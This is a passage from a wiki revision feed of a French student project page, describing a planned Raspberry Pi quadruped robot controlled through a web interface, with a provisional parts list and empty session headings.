* Un module wifi pour la raspberry Pi.&lt;br /&gt;
* Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.&lt;br /&gt;
* En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.&lt;br /&gt;
* Une breadboard pour tester les circuits .&lt;br /&gt;
* Un câble nappe pour raspberry pi .&lt;br /&gt;
&lt;br /&gt;
La liste réalisée est provisoire et pourra subir de légers changement avant le début de projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Séance supplémentaire 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=39649</id>
		<title>Projet IMA3 P1, 2016/2017, TD2</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projet_IMA3_P1,_2016/2017,_TD2&amp;diff=39649"/>
				<updated>2017-02-26T20:05:18Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Le matériel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Projet IMA3-SC 2016/2017 : Robot quadripode =&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
=== Description du système ===&lt;br /&gt;
&lt;br /&gt;
Notre projet est de réaliser un robot quadripode contrôlé par notre interface web. &lt;br /&gt;
Celui ci aura pour objectif de :&lt;br /&gt;
* se déplacer sur ses pattes dans les directions indiquées par l'utilisateur.&lt;br /&gt;
* Se déplacer à la vitesse demandée par l'utilisateur qui sera plus ou moins rapide.&lt;br /&gt;
&lt;br /&gt;
Chaque pattes possédera 3 articulations afin de faciliter le déplacement du robot. Un des servo-moteur permettra de faire avancer ou reculer la patte, le deuxième permettra au robot de se surélever ou de s'abaisser et le dernier permettra de poser la patte perpendiculaire par rapport au sol.&lt;br /&gt;
&lt;br /&gt;
En fonction du temps que nous prendrons à réaliser notre projet, nous aurons peut être la possibilité d'ajouter une fonctionnalité de vidéo à notre robot. Nous aurons alors la possibilité de voir à travers le robot sur notre interface web.&lt;br /&gt;
&lt;br /&gt;
=== Le matériel ===&lt;br /&gt;
&lt;br /&gt;
Le matériel pour réaliser notre robot quadripode est relativement simple . Nous aurons besoin d'un accès a un ordinateur équipé d'un système linux . Pour le quadripode , nous aurons besoins de :&lt;br /&gt;
         - Une raspberry Pi ( de préférence une raspberry pi zéro en raison de sa petite taille)&lt;br /&gt;
         - 8 micro servos moteurs pour le mouvement des pattes , soit 2 servos-moteurs par patte .&lt;br /&gt;
         - Un module wifi pour la raspberry Pi.&lt;br /&gt;
         - Toutes sortes d'écrous et vis dont nous détaillerons le contenu dans le futur.&lt;br /&gt;
         - En option , une caméra compatible raspberry pi , pour transmettre une vidéo en direct sur l'interface web, ainsi que son raccordement.&lt;br /&gt;
         - Une breadboard pour tester les circuits .&lt;br /&gt;
         - Un câble nappe pour raspberry pi .&lt;br /&gt;
&lt;br /&gt;
La liste réalisée est provisoire et pourra subir de légers changement avant le début de projet (les types d'écrous et vis seront détaillés) . Nous aurons en plus des éléments précédents , besoin d'un accès a l'imprimante 3D afin d'imprimer les différentes parties du quadripode .&lt;br /&gt;
&lt;br /&gt;
== Séance 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Séance 2 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Séance 3 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Séance supplémentaire 1 ==&lt;br /&gt;
&lt;br /&gt;
=== Partie électronique ===&lt;br /&gt;
&lt;br /&gt;
=== Partie informatique ===&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	</feed>